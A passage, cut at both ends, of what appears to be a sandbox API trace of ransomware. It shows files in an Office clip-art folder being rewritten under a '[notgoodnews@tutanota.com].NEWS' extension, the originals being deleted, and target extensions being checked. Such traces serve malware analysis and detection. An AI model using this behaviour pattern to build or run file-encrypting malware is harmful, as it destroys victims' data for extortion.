dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0092.134] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=9080) returned 1 [0092.134] CloseHandle (hObject=0x398) returned 1 [0092.134] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099188.jpg")) returned 0x220 [0092.134] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099188.jpg.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0092.134] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099188.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0092.134] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0092.134] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0092.135] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099188.jpg.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0092.172] GetLastError () returned 0x0 [0092.172] ReadFile (in: hFile=0x398, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x2378, lpOverlapped=0x0) returned 1 [0092.174] WriteFile (in: hFile=0x37c, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0x2380, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0x2380, lpOverlapped=0x0) returned 1 [0092.175] ReadFile (in: hFile=0x398, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1 [0092.175] WriteFile (in: hFile=0x37c, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1 [0092.175] SetEndOfFile (hFile=0x37c) returned 1 [0092.175] CloseHandle (hObject=0x37c) returned 1 [0092.175] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0092.175] SetEndOfFile (hFile=0x398) returned 1 [0092.176] CloseHandle (hObject=0x398) returned 1 [0092.176] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0092.176] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099188.jpg")) returned 1 [0092.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68 [0092.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68 [0092.177] lstrlenW (lpString=".doc") returned 4 [0092.177] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0092.177] lstrlenW (lpString=".docx") returned 5 [0092.177] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0092.177] lstrlenW (lpString=".pdf") returned 4 [0092.177] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0092.177] lstrlenW (lpString=".xls") returned 4 [0092.177] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0092.177] lstrlenW (lpString=".xlsx") returned 5 [0092.177] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0092.177] lstrlenW (lpString=".ppt") returned 4 [0092.177] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0092.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68 [0092.177] lstrlenW (lpString=".zip") returned 4 [0092.177] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0092.177] lstrlenW (lpString=".rar") returned 4 [0092.177] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0092.177] lstrlenW (lpString=".bz2") returned 4 [0092.177] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0092.177] lstrlenW (lpString=".7z") returned 3 [0092.177] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0092.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68 [0092.177] lstrlenW (lpString=".dbf") returned 4 [0092.177] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0092.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68 [0092.177] lstrlenW (lpString=".1cd") returned 4 [0092.177] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0092.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68 [0092.178] lstrlenW (lpString=".jpg") returned 4 [0092.178] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0092.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68 [0092.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68 [0092.178] lstrlenW (lpString=".doc") returned 4 [0092.178] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0092.178] lstrlenW (lpString=".docx") returned 5 [0092.178] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0092.178] lstrlenW (lpString=".pdf") returned 4 [0092.178] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0092.178] lstrlenW (lpString=".xls") returned 4 [0092.178] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0092.178] lstrlenW (lpString=".xlsx") returned 5 [0092.178] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0092.178] lstrlenW (lpString=".ppt") returned 4 [0092.178] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0092.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68 [0092.178] lstrlenW (lpString=".zip") returned 4 [0092.178] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0092.178] lstrlenW (lpString=".rar") returned 4 [0092.178] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0092.178] lstrlenW (lpString=".bz2") returned 4 [0092.178] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0092.178] lstrlenW (lpString=".7z") returned 3 [0092.178] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0092.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68 [0092.178] lstrlenW (lpString=".dbf") returned 4 [0092.178] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0092.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68 [0092.178] lstrlenW (lpString=".1cd") returned 4 [0092.178] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0092.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68 [0092.178] lstrlenW (lpString=".jpg") returned 4 [0092.178] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0092.179] lstrcmpiW (lpString1=".JPG", lpString2=".NEWS") returned -1 [0092.179] lstrlenW (lpString="J0099189.JPG") returned 12 [0092.179] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099189.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0092.179] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=8076) returned 1 [0092.179] CloseHandle (hObject=0x398) returned 1 [0092.179] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099189.jpg")) returned 0x220 [0092.179] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099189.jpg.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0092.179] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099189.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0092.180] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0092.180] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0092.180] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099189.jpg.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0092.180] GetLastError () returned 0x0 [0092.180] ReadFile (in: hFile=0x398, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x1f8c, lpOverlapped=0x0) returned 1 [0092.182] WriteFile (in: hFile=0x37c, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0x1f90, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0x1f90, lpOverlapped=0x0) returned 1 [0092.183] ReadFile (in: hFile=0x398, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1 [0092.183] WriteFile (in: hFile=0x37c, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1 [0092.183] SetEndOfFile (hFile=0x37c) returned 1 [0092.183] CloseHandle (hObject=0x37c) returned 1 [0092.184] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0092.184] SetEndOfFile (hFile=0x398) returned 1 [0092.184] CloseHandle (hObject=0x398) returned 1 [0092.184] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0092.185] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099189.jpg")) returned 1 [0092.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68 [0092.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68 [0092.185] lstrlenW (lpString=".doc") returned 4 [0092.185] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0092.185] lstrlenW (lpString=".docx") returned 5 [0092.185] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1 [0092.185] lstrlenW (lpString=".pdf") returned 4 [0092.185] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0092.185] lstrlenW (lpString=".xls") returned 4 [0092.185] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0092.185] lstrlenW (lpString=".xlsx") returned 5 [0092.185] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1 [0092.185] lstrlenW (lpString=".ppt") returned 4 [0092.185] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0092.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68 [0092.185] lstrlenW (lpString=".zip") returned 4 [0092.185] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0092.185] lstrlenW (lpString=".rar") returned 4 [0092.185] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0092.185] lstrlenW (lpString=".bz2") returned 4 [0092.185] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0092.185] lstrlenW (lpString=".7z") returned 3 [0092.185] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0092.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68 [0092.185] lstrlenW (lpString=".dbf") returned 4 [0092.186] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0092.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68 [0092.186] lstrlenW (lpString=".1cd") returned 4 [0092.186] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0092.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68 [0092.186] lstrlenW (lpString=".jpg") returned 4 [0092.186] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0092.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68 [0092.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68 [0092.186] lstrlenW (lpString=".doc") returned 4 [0092.186] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0092.186] lstrlenW (lpString=".docx") returned 5 [0092.186] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1 [0092.186] lstrlenW (lpString=".pdf") returned 4 [0092.186] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0092.186] lstrlenW (lpString=".xls") returned 4 [0092.186] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0092.186] lstrlenW (lpString=".xlsx") returned 5 [0092.186] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1 [0092.186] lstrlenW (lpString=".ppt") returned 4 [0092.186] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0092.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68 [0092.186] lstrlenW (lpString=".zip") returned 4 [0092.186] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0092.186] lstrlenW (lpString=".rar") returned 4 [0092.186] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0092.186] lstrlenW (lpString=".bz2") returned 4 [0092.186] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0092.186] lstrlenW (lpString=".7z") returned 3 [0092.186] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0092.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68 [0092.186] lstrlenW (lpString=".dbf") returned 4 [0092.186] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0092.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68 [0092.186] lstrlenW (lpString=".1cd") returned 4 [0092.186] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0092.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68 [0092.187] lstrlenW (lpString=".jpg") returned 4 [0092.187] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0092.187] lstrcmpiW (lpString1=".JPG", lpString2=".NEWS") returned -1 [0092.187] lstrlenW (lpString="J0099190.JPG") returned 12 [0092.187] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099190.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0092.574] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=43892) returned 1 [0092.574] CloseHandle (hObject=0x330) returned 1 [0092.575] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099190.jpg")) returned 0x220 [0092.576] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099190.jpg.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0092.576] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099190.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0092.576] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0092.576] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0092.576] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099190.jpg.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0092.576] GetLastError () returned 0x0 [0092.576] ReadFile (in: hFile=0x330, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0xab74, lpOverlapped=0x0) returned 1 [0092.578] WriteFile (in: hFile=0x39c, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xab80, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0xab80, lpOverlapped=0x0) returned 1 [0092.580] ReadFile (in: hFile=0x330, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1 [0092.580] WriteFile (in: hFile=0x39c, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1 [0092.580] SetEndOfFile (hFile=0x39c) returned 1 [0092.580] CloseHandle (hObject=0x39c) returned 1 [0092.580] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0092.580] SetEndOfFile (hFile=0x330) returned 1 [0092.581] CloseHandle (hObject=0x330) returned 1 [0092.581] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0092.582] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099190.jpg")) returned 1 [0092.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG") returned 68 [0092.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG") returned 68 [0092.582] lstrlenW (lpString=".doc") returned 4 [0092.582] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0092.582] lstrlenW (lpString=".docx") returned 5 [0092.582] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1 [0092.582] lstrlenW (lpString=".pdf") returned 4 [0092.582] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0092.582] lstrlenW (lpString=".xls") returned 4 [0092.582] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0092.582] lstrlenW (lpString=".xlsx") returned 5 [0092.582] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1 [0092.582] lstrlenW (lpString=".ppt") returned 4 [0092.582] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0092.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG") returned 68 [0092.582] lstrlenW (lpString=".zip") returned 4 [0092.582] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0092.582] lstrlenW (lpString=".rar") returned 4 [0092.582] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0092.582] lstrlenW (lpString=".bz2") returned 4 [0092.582] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0092.582] lstrlenW (lpString=".7z") returned 3 [0092.582] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0092.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG") returned 68 [0092.583] lstrlenW (lpString=".dbf") returned 4 [0092.583] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0092.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG") returned 68 [0092.583] lstrlenW (lpString=".1cd") returned 4 [0092.583] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0092.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG") returned 68 [0092.583] lstrlenW (lpString=".jpg") returned 4 [0092.583] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0092.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG") returned 68 [0092.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG") returned 68 [0092.583] lstrlenW (lpString=".doc") returned 4 [0092.583] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0092.583] lstrlenW (lpString=".docx") returned 5 [0092.583] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1 [0092.583] lstrlenW (lpString=".pdf") returned 4 [0092.583] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0092.583] lstrlenW (lpString=".xls") returned 4 [0092.583] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0092.583] lstrlenW (lpString=".xlsx") returned 5 [0092.583] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1 [0092.583] lstrlenW (lpString=".ppt") returned 4 [0092.583] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0092.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG") returned 68 [0092.583] lstrlenW (lpString=".zip") returned 4 [0092.583] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0092.583] lstrlenW (lpString=".rar") returned 4 [0092.583] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0092.583] lstrlenW (lpString=".bz2") returned 4 [0092.583] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0092.583] lstrlenW (lpString=".7z") returned 3 [0092.583] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0092.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG") returned 68 [0092.583] lstrlenW (lpString=".dbf") returned 4 [0092.583] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0092.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG") returned 68 [0092.583] lstrlenW (lpString=".1cd") returned 4 [0092.584] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0092.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG") returned 68 [0092.584] lstrlenW (lpString=".jpg") returned 4 [0092.584] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0092.584] lstrcmpiW (lpString1=".JPG", lpString2=".NEWS") returned -1 [0092.584] lstrlenW (lpString="J0099191.JPG") returned 12 [0092.584] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099191.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0092.584] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=62367) returned 1 [0092.584] CloseHandle (hObject=0x330) returned 1 [0092.584] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099191.jpg")) returned 0x220 [0092.585] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft 